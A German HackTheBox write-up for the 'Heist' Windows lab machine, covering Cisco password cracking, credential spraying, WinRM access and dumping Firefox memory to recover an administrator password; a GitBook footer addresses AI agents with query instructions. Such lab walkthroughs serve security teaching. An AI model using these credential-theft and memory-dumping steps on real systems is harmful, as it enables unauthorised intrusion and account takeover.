> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/heist-hackthebox-writeup.md).

# Heist HackTheBox Writeup

Heist HackTheBox Easy-Windows-Maschinen-Writeup mit Cisco-Passwortwiederherstellung, Credential-Spraying, WinRM-Zugriff und Firefox-Speicheranalyse.

{% embed url="<https://app.hackthebox.com/machines/Heist>?" %}

{% hint style="warning" %}
**Fähigkeiten:**

* Web-Enumerierung mit Gobuster
* Wiederherstellung von Cisco Type-5- und Type-7-Passwörtern
* Validierung von Anmeldeinformationen mit NetExec
* WinRM-Zugriff mit Evil-WinRM
* Analyse des Prozessspeichers mit ProcDump
  {% endhint %}

## Aufklärung

### Arbeitsbereich einrichten

Erstelle Ordner für Scan-Ergebnisse, entdeckte Inhalte, Skripte und Exploits.

```bash
mkdir -p {nmap,content,script,exploit}
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FqOReCEWhEKG1ndhNJ5Va%2Fimage.png?alt=media&amp;token=32d190ee-d8e8-46e1-b012-1d44528e7dbe" alt=""><figcaption></figcaption></figure>

### Porterkennung

Führe einen vollständigen TCP-Scan durch, um offene Ports zu identifizieren.

```bash
sudo nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.129.6.90 -oG allPorts
```

Der Scan legt HTTP, RPC, SMB, WinRM und einen dynamischen RPC-Port offen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FTDxEzgTmeY5YyhCtw0mU%2Fimage.png?alt=media&amp;token=cc1a2e92-8a9a-4a36-8999-259e2a68c1e4" alt=""><figcaption></figcaption></figure>

Führe einen gezielten Versionsscan gegen die entdeckten Dienste durch.

```bash
sudo nmap -sCV -p80,135,445,5985,49669 10.129.6.90 -oN targeted
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F968UHGF2zuMQlJlZUkyt%2Fimage.png?alt=media&amp;token=43483bbd-0748-4ddf-ab72-ab21f3f43174" alt=""><figcaption></figcaption></figure>

### Web-Enumerierung

Port `80` stellt ein Login-Panel bereit.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F5FbkbNLYItvfN1LZlSsh%2Fimage.png?alt=media&amp;token=c9b42b08-4f60-404d-b551-21148d20b387" alt=""><figcaption></figcaption></figure>

Enumeriere PHP-Endpunkte mit Gobuster.

```bash
gobuster dir -w `fzf-wordlists` -u http://10.129.6.90/ -x php -t 100
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FzTbrsan32JX09wf9806o%2Fimage.png?alt=media&amp;token=6a19af0c-ac63-46fa-b817-a7115408ebcf" alt=""><figcaption></figcaption></figure>

Der Scan zeigt Seiten, einschließlich `issues.php`, `login.php`, und `attachments.php`.

Das `issues.php` Die Seite enthält ein Ticket von Hazard an Support. Es erwähnt eine fehlerhafte Cisco-Konfiguration.

Das Ticket legt außerdem die `hazard` und `support` Benutzernamen offen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FJ7HcCtW5mtxtvjOd0c5T%2Fimage.png?alt=media&amp;token=a0a52ebd-f196-4762-b3a9-7668607d256b" alt=""><figcaption></figcaption></figure>

Der Anhang enthält die Cisco-Konfiguration.

```wasm
Version 12.2
kein Service-Pad
service password-encryption
!
isdn switch-type basic-5ess
!
hostname ios-1
!
security passwords min-length 12
enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91
!
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408
!
!
ip ssh authentication-retries 5
ip ssh version 2
!
!
router bgp 100
 Synchronisierung
 bgp log-neighbor-changes
 bgp dampening
 network 192.168.0.0Â mask 300.255.255.0
 timers bgp 3 9
 redistribute connected
!
ip classless
ip route 0.0.0.0 0.0.0.0 192.168.0.1
!
!
access-list 101 permit ip any any
dialer-list 1 protocol ip list 101
!
no ip http server
no ip http secure-server
!
line vty 0 4
 session-timeout 60002375012182C1A1D751618034F36415408
 authorization exec SSH
 transport input ssh
```

Die Konfiguration enthält einen `enable secret` Hash und zwei Cisco-Type-7-Passwörter.

```bash
$1$pdQG$o8nrSzsGXeaduXrjlvKc91
```

Das Knacken des Type-5-Hashes liefert `stealth1agent`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F90GdxEAtIo4EhDpvv1RX%2Fimage.png?alt=media&amp;token=1d4fc4a2-4ae8-4397-9b0d-b22767224f20" alt=""><figcaption></figcaption></figure>

Überprüfe das wiederhergestellte Passwort gegen SMB. Es funktioniert für `hazard`.

```bash
nxc smb 10.129.6.90 -u 'hazard' -p 'stealth1agent' --shares
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fn285M7xlJvIBZ5SPnECb%2Fimage.png?alt=media&amp;token=315340c7-c09f-4ce7-8498-cb052ac40be8" alt=""><figcaption></figcaption></figure>

Versuche eine WinRM-Sitzung mit denselben Anmeldeinformationen.

```wasm
evil-winrm -u "hazard" -p "stealth1agent" -i "10.129.6.90"
```

Die Verbindung schlägt fehl, weil `hazard` kein WinRM-Zugriff vorhanden ist.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FMleSVT0Ekh8n0I0AoHQ2%2Fimage.png?alt=media&amp;token=f9117b8d-e12e-4cd0-8d9c-eecc7941106f" alt=""><figcaption></figcaption></figure>

### Benutzeraufzählung

Verwende RID-Bruteforcing, um lokale Benutzer aufzulisten.

{% code overflow="wrap" %}

```bash
netexec smb 10.129.6.90 -u "hazard" -p "stealth1agent" --rid-brute
```

{% endcode %}

Dies gibt die folgenden Benutzer zurück:

* Hazard
* Support
* Chase
* Jason

### Wiederherstellung von Cisco Type-7-Passwörtern

Stelle die verbleibenden verschlüsselten Passwörter aus der Konfiguration wieder her.

```
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408
```

Verwende einen Cisco-Type-7-Decoder, um beide Werte zu entschlüsseln.

{% embed url="<https://password7decrypt.com/>" %}

Die entschlüsselten Passwörter sind:

* $uperP\@ssword
* Q4)sJu\Y8qz\*A3?d

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FIyABMXOegMlexSK0yz76%2Fimage.png?alt=media&amp;token=0c220856-be96-42e4-84d9-c0109a14488b" alt=""><figcaption></figcaption></figure>

Erstelle eine Liste potenzieller Benutzer.

{% code overflow="wrap" %}

```bash
Support
Chase
Jason
```

{% endcode %}

Erstelle eine Passwortliste.

{% code overflow="wrap" %}

```bash
$uperP@ssword
Q4)sJu\Y8qz*A3?d
```

{% endcode %}

Teste jede Benutzer-Passwort-Kombination über SMB.

{% code overflow="wrap" %}

```bash
nxc smb 10.129.6.90 -u users.txt -p passwords.txt
```

{% endcode %}

Die Ergebnisse identifizieren gültige Anmeldeinformationen für `Chase`:

* Chase
* Q4)sJu\Y8qz\*A3?d

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FJB189NXsItpBWQk4fd0v%2Fimage.png?alt=media&amp;token=815230a0-48f6-44aa-9ff7-6c5a45810a82" alt=""><figcaption></figcaption></figure>

### Erstzugriff

Verbinde dich als `Chase` über WinRM.

{% code overflow="wrap" %}

```bash
evil-winrm -u 'Chase' -p 'Q4)sJu\Y8qz*A3?d' -i "10.129.6.90" 
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F7lK9eyN5QyDVSqlKad9g%2Fimage.png?alt=media&amp;token=7dfd10fd-7349-429a-89b1-134b208f1836" alt=""><figcaption></figcaption></figure>

Hole dir die User-Flag.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FFjCKbM9nIriJB46D3RJR%2Fimage.png?alt=media&amp;token=85396242-14ec-4140-8d0e-10a3f7515b0b" alt=""><figcaption></figcaption></figure>

### Privilegieneskalation

Ausführen `ps` und stelle fest, dass Firefox läuft.

```bash
ps
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FA1n0IQYvFJDHTKeI45Bj%2Fimage.png?alt=media&amp;token=3c1c5b27-2c9e-4bca-8999-4f564dcfc498" alt=""><figcaption></figcaption></figure>

Ein aktiver Browserprozess kann Anmeldeinformationen im Speicher enthalten.

Verwende ProcDump, um den Speicher des Firefox-Prozesses zu erfassen.

```bash
wget https://download.sysinternals.com/files/Procdump.zip
```

{% embed url="<https://download.sysinternals.com/files/Procdump.zip>" %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FK9dIEMH7NwfRv0uXzTQw%2Fimage.png?alt=media&amp;token=fc2ea817-b35e-4d5a-ac9f-648536e69d14" alt=""><figcaption></figcaption></figure>

Hochladen `procdump64.exe` auf das Ziel.

```bash
upload /workspace/procdump64.exe
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FrrR4IPuXshaoDHvkE5TE%2Fimage.png?alt=media&amp;token=ae2dadfe-73ac-4f32-97ed-70ded6084c41" alt=""><figcaption></figcaption></figure>

Erstelle einen Dump des Firefox-Prozesses.

```bash
.\procdump64.exe -accepteula -ma 3092 firefox_debug.dmp
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fj7MIwvhHL3g6e8ZAhsD3%2Fimage.png?alt=media&amp;token=6c4edb8f-4431-4ee1-87a7-a4e550af1a41" alt=""><figcaption></figcaption></figure>

Lade den Speicherdump zur lokalen Analyse herunter.

```bash
download "C:/Users/Chase/Documents/firefox_debug.dmp" /workspace/firefox_debug.dmp
```

Der Download dauert, weil der Dump groß ist.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2ForgiFCaXh6mYpsIdnQTS%2Fimage.png?alt=media&amp;token=88dd588f-b1dd-4d87-b8cb-0d25bd7b283e" alt=""><figcaption></figcaption></figure>

Durchsuche die Strings des Dumps nach passwortbezogenen Werten, statt auf eine vollständige Prüfung zu warten.

```bash
strings firefox_debug.dmp | grep password
```

Dies offenbart die Anmeldeinformationen für das Administratorkonto.

```bash
admin@support.htb&login_password=4dD!5}x/re8]FBuZ
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FIlZxA9b4YhR1qllYqwZ2%2Fimage.png?alt=media&amp;token=844b6a38-e9a0-4bed-9ea5-ceb40af9f34c" alt=""><figcaption></figcaption></figure>

Überprüfe das wiederhergestellte Passwort gegen SMB.

```bash
nxc smb 10.129.6.90 -u "Administrator" -p "4dD!5}x/re8]FBuZ"
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F6DnvAaLKt2G1Bjh4LE8z%2Fimage.png?alt=media&amp;token=07448459-f99c-4dda-a820-2ef39fe6fdcc" alt=""><figcaption></figcaption></figure>

### Administratorzugriff

Verbinde dich über WinRM als `Administrator`.

{% code overflow="wrap" %}

```bash
evil-winrm -i '10.129.6.90' -u 'Administrator' -p '4dD!5}x/re8]FBuZ'
```

{% endcode %}

Die Sitzung hat Administratorrechte.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FcjDMzpXiD8bk1FuxlBJC%2Fimage.png?alt=media&amp;token=cd3ac9fe-9aee-4266-b119-9d4df5c92395" alt=""><figcaption></figcaption></figure>

Hole dir die Root-Flag.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FSJovMcUzgzs1WJlTjhJX%2Fimage.png?alt=media&amp;token=5ffdbdd9-23d8-46fb-b9d9-440592279fb6" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FoSJc7djp77KQv3iVHfil%2Fimage.png?alt=media&amp;token=2745d3ae-80c5-4f0e-84ad-70840d7944da" alt="" width="546"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/heist-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
